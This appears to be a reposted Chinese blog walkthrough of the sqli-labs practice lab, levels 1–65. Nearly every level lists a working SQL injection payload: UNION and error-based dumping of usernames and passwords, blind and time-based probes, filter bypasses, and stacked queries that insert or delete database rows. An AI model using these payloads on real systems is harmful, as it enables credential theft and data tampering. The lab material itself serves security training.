sql注入靶场1-65

第一关:

单引号闭合:在这里插入图片描述
order by 判断字段数,显示位2.3:在这里插入图片描述在这里插入图片描述
输出数据库版本?id=-1' union select 1,2,version() --+在这里插入图片描述
输出数据库名称:?id=-1' union select 1,2,database() --+在这里插入图片描述查看所有表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+在这里插入图片描述
查看第一个字段:column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1 --+ :
在这里插入图片描述
通过修改位置显示:在这里插入图片描述
在这里插入图片描述查看账户密码:
?id=-1' union select 1,username,password from users limit 1,1--+(可通过改变limit查看多个)在这里插入图片描述
显示全部?id=-1' union select 1,2,group_concat('<br>','用户',username,'密码',password) from users--+在这里插入图片描述

第二关:

无闭合符:在这里插入图片描述
语句同第一关;

第三关:

')闭合在这里插入图片描述
语句同第一关;

第四关:

")闭合在这里插入图片描述
语句同第一关;

第五关:

'闭合在这里插入图片描述
从这一关开始盲注
判断数据库长度:?id=1' and length(database())='8' --+未报错代表是八位在这里插入图片描述
也可使用 updatexml()函数
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+报错出数据库名称在这里插入图片描述
查询表名:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+在这里插入图片描述
输出第二个字段名:?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1) --+(改变limit输出其他字段)在这里插入图片描述输出出值:
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1) --+在这里插入图片描述
由于一次只能求出一个需要在修改查询内容查出密码:
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+
在这里插入图片描述
通过修改limit可注入出其他;

第六关:

"闭合在这里插入图片描述
注入求值同第五关如下:
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+在这里插入图片描述

第七关:

'))闭合在这里插入图片描述
盲注:本关使用substr()函数
首先判断数据库字段数:
?id=1')) and length(database())='8'--+没有报错代表数据库位数为八在这里插入图片描述使用折中的方法逐个判断出字符:
?id=1')) and substr((select database()),1,1)>'a'--+在这里插入图片描述折中?id=1')) and substr((select database()),1,1)>'n'--+在这里插入图片描述折中?id=1')) and substr((select database()),1,1)>'u'--+错误说明比u小在这里插入图片描述?id=1')) and substr((select database()),1,1)>'q'--+成功说明在q和u之间逐个测试在这里插入图片描述?id=1')) and substr((select database()),1,1)>'r'--+失败不是下一个在这里插入图片描述?id=1')) and substr((select database()),1,1)='s'--+无报错说明数据库第一个字符是s在这里插入图片描述调节limit求出八位;
后分别使用:
?id=1'))and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>'a'--+逐个求出表名;在这里插入图片描述使用:
?id=1'))and substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1)>'a'--+逐个求出列名;在这里插入图片描述使用:
?id=1'))and substr((select password from users limit 1,1),1,1)>'a'--+逐个查出值;在这里插入图片描述

第八关:

'闭合在这里插入图片描述注入求值同第七关:

第九关:

'闭合:在这里插入图片描述这一关延时注入:
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+在这里插入图片描述若请求错误则会延迟五秒;
求出:表名?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+(注:e=101)在这里插入图片描述使用该函数逐个折中判断;

第十关:

"闭合在这里插入图片描述本关同第九关:在这里插入图片描述

第十一关:

万能密码:’ or 1=1 #在这里插入图片描述在这里插入图片描述

第十二关:

修改闭合方式
在这里插入图片描述在这里插入图片描述

第十三关:

修改闭合方式在这里插入图片描述在这里插入图片描述

第十四关:

"闭合
在这里插入图片描述在这里插入图片描述

第十五关:

'注释在这里插入图片描述
在这里插入图片描述

第十六关:

")闭合
在这里插入图片描述在这里插入图片描述

第十七关:

'闭合在这里插入图片描述
burp抓包:
uname=admin&passwd=1962' and extractvalue(1,concat(0x7e,(select version()),0x7e))--+查询出本版信息在这里插入图片描述在这个位置依次查询;

第十八关:

基于账户密码正确的情况下注入查询:(注:十七关重置过密码需要改回来)

观察代码uagent和ip被传入数据库可进行修改在这里插入图片描述
以此为注入点:
在这里插入图片描述

第十九关:

观察代码referer和ip被传入数据库在这里插入图片描述
burp抓包:将Referer:修改为'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '1'='1在这里插入图片描述

第二十关:

cookie中的username值被带入数据库中:在这里插入图片描述抓包将cookie修改为uname=' union select 1,2,database() or 1=1 #发现输出点在1,2上修改在这里插入图片描述Cookie: uname=' union select 1,database(),3 or 1=1 #成功查询数据库名在这里插入图片描述

第二十一关:

本关对cookie进行了base64在这里插入图片描述
本关还需要admin登陆成功:在这里插入图片描述
在这个页面刷新:burp抓包输入编码后的代码
admin'and extractvalue(1,concat(0x7e,(select database()),0x7e))and'1'='1编码:
YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSkpYW5kJzEnPScx

第二十二关:

"封装在这里插入图片描述将上一关的代码改为双引号编码输出成功:在这里插入图片描述

第二十三关:

这里屏蔽了#和–+;在这里插入图片描述
使用’单引号闭合:?id=-1' union select 1,database(),'3查看数据库;在这里插入图片描述查询所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),'3在这里插入图片描述

第二十四关:

修改密码处没有特殊字符过滤可通过在用户名后添加特殊字符;来修改管理员admin的密码在这里插入图片描述

第二十五关:

or和and过滤:在这里插入图片描述双写这两个 :?id=1' oorrder by 1 anandd '1'='1:在这里插入图片描述
查询注入点:?id=-1' union select 1,2,3 anandd '1'='1在这里插入图片描述
查询数据库:?id=-1' union select 1,database(),3 anandd '1'='1在这里插入图片描述
查询所有表:?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='database()' limit 0,1),3 anandd '1'='1在这里插入图片描述查询字段:?id=-1' union select 1,(select column_name from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' limit 1,1),3 anandd '1'='1在这里插入图片描述
挨个查询值:在这里插入图片描述

第二十五a关:

本关不用闭合字符?id=1 aandnd 1=1在这里插入图片描述查询数据库:?id=-1 union select 1,database(),3在这里插入图片描述注:和25没什么差别代码相同只是去掉了’

第二十六关:

'闭合在这里插入图片描述过滤字符:。。。。。在这里插入图片描述报错注入查看数据库:?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1在这里插入图片描述报错注入查看所有表:?id=1'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1在这里插入图片描述查询全部字段:?id=1'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())anandd(table_name='users'))),0)||'1'='1在这里插入图片描述
查询前面一部分用户名:?id=1'||updatexml(1,concat('$',(select(group_concat(username))from(users))),0)||'1'='1在这里插入图片描述一部分密码:?id=1'||updatexml(1,concat('$',(select(group_concat(passwoorrd))from(users))),0)||'1'='1在这里插入图片描述

第二十六a关:

在这里插入图片描述?id=1)'||updatexml(1,concat(':',(select database())),1)||('1')=('1

第二十七关:

过滤字符在这里插入图片描述尝试大小写混合:
?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1在这里插入图片描述查询全部表:?id=1'||updatexml(1,concat('$',(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),0)||'1'='1在这里插入图片描述查询所有字段名:?id=1'||updatexml(1,concat('$',(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='users'))),0)||'1'='1在这里插入图片描述一部分用户:?id=1'||updatexml(1,concat('$',(selEct(group_concat(username))from(users))),0)||'1'='1在这里插入图片描述一部分用户密码:?id=1'||updatexml(1,concat(':',(sElect(group_concat(password))from(users))),0)||'1'='1在这里插入图片描述

第二十七a关:

“闭合在这里插入图片描述
查询数据库:?id=99"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1(注:%0A是换行符)在这里插入图片描述本关和上一关区别不大只是’换成了”

第二十八关:

闭合字符’)在这里插入图片描述
屏蔽字符:在这里插入图片描述联合查询:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1在这里插入图片描述查询全部表:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Alimit%0A0,1),3||('1')=('1在这里插入图片描述查询全部字段:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=database()%0Aand%0Atable_name='users'%0Alimit%0A0,1),3||('1')=('1在这里插入图片描述查询用户:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Ausername%0Afrom%0Ausers%0Alimit%0A4,1),3||('1')=('1在这里插入图片描述查询用户密码:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Apassword%0Afrom%0Ausers%0Alimit%0A4,1),3||('1')=('1在这里插入图片描述

第二十八a关:

降低了难度;
使用上一关的方法一样成功:

第二十九关:

'闭合在这里插入图片描述
查询数据库:?id=-1' union select 1,database(),3%23在这里插入图片描述查询所有表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23在这里插入图片描述查询所有字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1%23在这里插入图片描述查询用户,查询用户密码:?id=-1' union select 1,username,password from users limit 1,1%23在这里插入图片描述

第三十关:

"闭合:在这里插入图片描述查询用户,查询用户密码:?id=-1" union select 1,username,password from users limit 1,1%23在这里插入图片描述

第三十一关:

")闭合:在这里插入图片描述查询用户,查询用户密码:?id=-1") union select 1,username,password from users limit 1,1%23在这里插入图片描述

第三十二关:

查询字段:?id=-1%df%27%20union%20select%201,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)%23在这里插入图片描述本关使用宽字符:?id=-1%df%27%20union%20select%201,username,password%20from%20users%20limit%201,1%23在这里插入图片描述

第三十三关:

使用宽字符:?id=-1%df%27%20union%20select%201,username,password%20from%20users%20limit%201,1%23在这里插入图片描述

第三十四关:

使用�’or 1=1 #绕过:�’是’的utf-16编码的结果:密码随便在这里插入图片描述

第三十五关:

本关不需要闭合:?id=1 and 1=2
数据库名:?id=-1 union select 1,database(),3--+在这里插入图片描述
全部的表:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+在这里插入图片描述字段名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+在这里插入图片描述求值:?id=-1 union select 1,username,password from users limit 1,1 --+在这里插入图片描述

第三十六关:

加宽字符过滤:?id=1%df' and 1=1 --+
数据库名:?id=-1%df' union select 1,database(),3 --+在这里插入图片描述全部的表名:?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+在这里插入图片描述全部的字段名:?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+在这里插入图片描述用户名密码:?id=-1%df' union select 1,username,password from users limit 1,1 --+在这里插入图片描述

第三十七关:

同三十四关使用�’or 1=1 #绕过:�’是’的utf-16编码的结果:密码随便:在这里插入图片描述
�' union select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a#在这里插入图片描述

第三十八关:

闭合字符:’在这里插入图片描述
查看数据库名创建一个用户:?id=-1‘ union select 1,2,database();insert into users (username,password) values(1433223,741852)--+在这里插入图片描述cmd查看一下;在这里插入图片描述

第三十九关:

查看数据库名并创建一个用户:?id=-1 union select 1,2,database();insert into users (username,password) values(1433223,741852)–+在这里插入图片描述在这里插入图片描述

第四十关:

闭合字符:’)在这里插入图片描述查看数据库名并创建一个用户:?id=-1') union select 1,2,database();insert into users (username,password) values (65,'dfghjk'); #在这里插入图片描述在这里插入图片描述

第四十一关:

查看数据库名并创建一个用户:?id=-1 union select 1,2,database();insert into users (username,password) values (65,'dfghjk'); #在这里插入图片描述在这里插入图片描述

第四十二关:

密码栏输入';insert into users (username,password) values (65,'dfghjk'); #在这里插入图片描述

在这里插入图片描述

第四十三关:

只是闭合方式变成了’)
建的太多了删一删,密码输入框:');delete from users where id=14;#
成功删除:在这里插入图片描述

第四十四关:

'闭合
用户名随便,在密码输入框:';delete from users where id=13;#在这里插入图片描述在这里插入图片描述

第四十五关:

')闭合
用户名随便,在密码输入框:');delete from users where id=13;#在这里插入图片描述

第四十六关:

查看代码发现:这里是sort在这里插入图片描述
输入?sort=1看一哈在这里插入图片描述
显错注入搞一哈:?sort=1 and(updatexml(1,concat(0x7e,(select database()),0x7e),0));成功木得问题在这里插入图片描述查看所有表:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0));在这里插入图片描述
查看所有字段:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),0));在这里插入图片描述查询用户:?sort=1 and(updatexml(1,concat(0x7e,(select username from users limit 3,1),0x7e),0)); --+在这里插入图片描述
查询用户密码:?sort=1 and(updatexml(1,concat(0x7e,(select password from users limit 3,1),0x7e),0)); --+在这里插入图片描述

第四十七关:

'闭合
查看字段试试:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),0)); --+在这里插入图片描述
查询用户:?sort=1' and(updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),0)); --+在这里插入图片描述
查询用户密码:?sort=1' and(updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),0)); --+在这里插入图片描述

第四十八关:

注入:?sort=1 and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))在这里插入图片描述

第四十九关:

'闭合:
注入:?sort=1' and (if(ascii(substr((select database()),1,1))=155,0,sleep(2))) --+
在这里插入图片描述

第五十关:

可输入两个函数:?sort=1;delete from users where id=11;#删除id为11的在这里插入图片描述

第五十一关:

'闭合:在这里插入图片描述
可输入两个函数:?sort=1';delete from users where id=10;#删除id为10的在这里插入图片描述

第五十二关:

同上在这里插入图片描述

第五十三关:

和之前的都差不多:?sort=1';insert into users (username,password) values (65275,'dfghjk');--+(添加一个用户)在这里插入图片描述

第五十四关:

库:?id=-1' union select 1,2,database()--+在这里插入图片描述
表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+在这里插入图片描述
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ut47q844sc'--+在这里插入图片描述查看secret的值?id=-1' union select 1,2,group_concat(secret_4C3B) from ut47q844sc--+在这里插入图片描述
将密钥填进去:在这里插入图片描述

第五十五关:

)闭合:
在这里插入图片描述
查询数据库名:?id=-1) union select 1,2,database()--+在这里插入图片描述
查询表名:?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+在这里插入图片描述
查询全部字段:?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='1h4r3ggcy2'--+在这里插入图片描述
查询密钥:?id=-1) union select 1,2,group_concat(secret_9TU5) from 1h4r3ggcy2 --+在这里插入图片描述
得到密钥填进去在这里插入图片描述

第五十六关:

闭合’):
在这里插入图片描述
查询数据库:?id=-1') union select 1,2,database()--+在这里插入图片描述
查询全部的表:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 在这里插入图片描述查询全部字段名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='2vf0xkr6vf'--+ 在这里插入图片描述查询密钥:?id=-1') union select 1,2,group_concat(secret_WKRE) from 2vf0xkr6vf --+ 在这里插入图片描述密钥填入成功:在这里插入图片描述

第五十七关:

"闭合:在这里插入图片描述查询数据库名:?id=-1" union select 1,2,database()--+在这里插入图片描述查询全部表名:?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 在这里插入图片描述查询全部字段名:?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='2j1yd8ohht'--+ 在这里插入图片描述查询密钥:?id=-1" union select 1,2,group_concat(secret_VZA9) from 2j1yd8ohht--+ 在这里插入图片描述密钥提交:成功在这里插入图片描述

第五十八关:

'闭合:在这里插入图片描述
使用报错注入:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
在这里插入图片描述查询表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述
失误重新来
由于数据库不会改变直接查表;?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+新的表
在这里插入图片描述
查字段:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='5bojtnzndu'),0x7e),1) --+在这里插入图片描述密钥:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(secret_LMI8) from 5bojtnzndu),0x7e),1) --+在这里插入图片描述成功在这里插入图片描述

第五十九关:

数据库:?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+在这里插入图片描述查表名:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述查字段名:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='3cxr10elnb'),0x7e),1) --+在这里插入图片描述查询密钥:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(secret_X2LK) from 3cxr10elnb),0x7e),1) --+在这里插入图片描述将密钥提交:在这里插入图片描述

第六十关:

“)闭合:
查看数据库:?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+在这里插入图片描述查看全部的表名:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述查看全部的字段名:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='i1r6zk4hg0'),0x7e),1) --+在这里插入图片描述
密钥?id=-1”) and updatexml(1,concat(0x7e,(select group_concat(secret_7W87) from i1r6zk4hg0),0x7e),1) --+在这里插入图片描述成功:在这里插入图片描述

第六十一关:

闭合’)):在这里插入图片描述查询数据库:?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+在这里插入图片描述
查询表:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述查询字段:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='au8r4kpzmq'),0x7e),1) --+在这里插入图片描述查询密钥:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(secret_28LC) from au8r4kpzmq),0x7e),1) --+在这里插入图片描述成功:在这里插入图片描述

第六十二关:

闭合方式:’)
这一关使用延时注入:查询数据库名;使用折中的方法?id=1') and if(ascii(substr((select database()),1,1))=19,1,sleep(5)) --+在这里插入图片描述

第六十三关:

闭合方式:’
同样使用延时注入:?id=1' and if(ascii(substr((select database()),1,1))=19,1,sleep(5)) --+
在这里插入图片描述

第六十四关:

双)):在这里插入图片描述同样是延时注入:?id=1)) and if(ascii(substr((select database()),1,1))=99,1,sleep(5)) --+在这里插入图片描述

第六十五关:

双"):
在这里插入图片描述
延时注入:?id=1") and if(ascii(substr((select database()),1,1))=99,1,sleep(5)) --+

猜你喜欢

转载自blog.csdn.net/weixin_44664530/article/details/105110275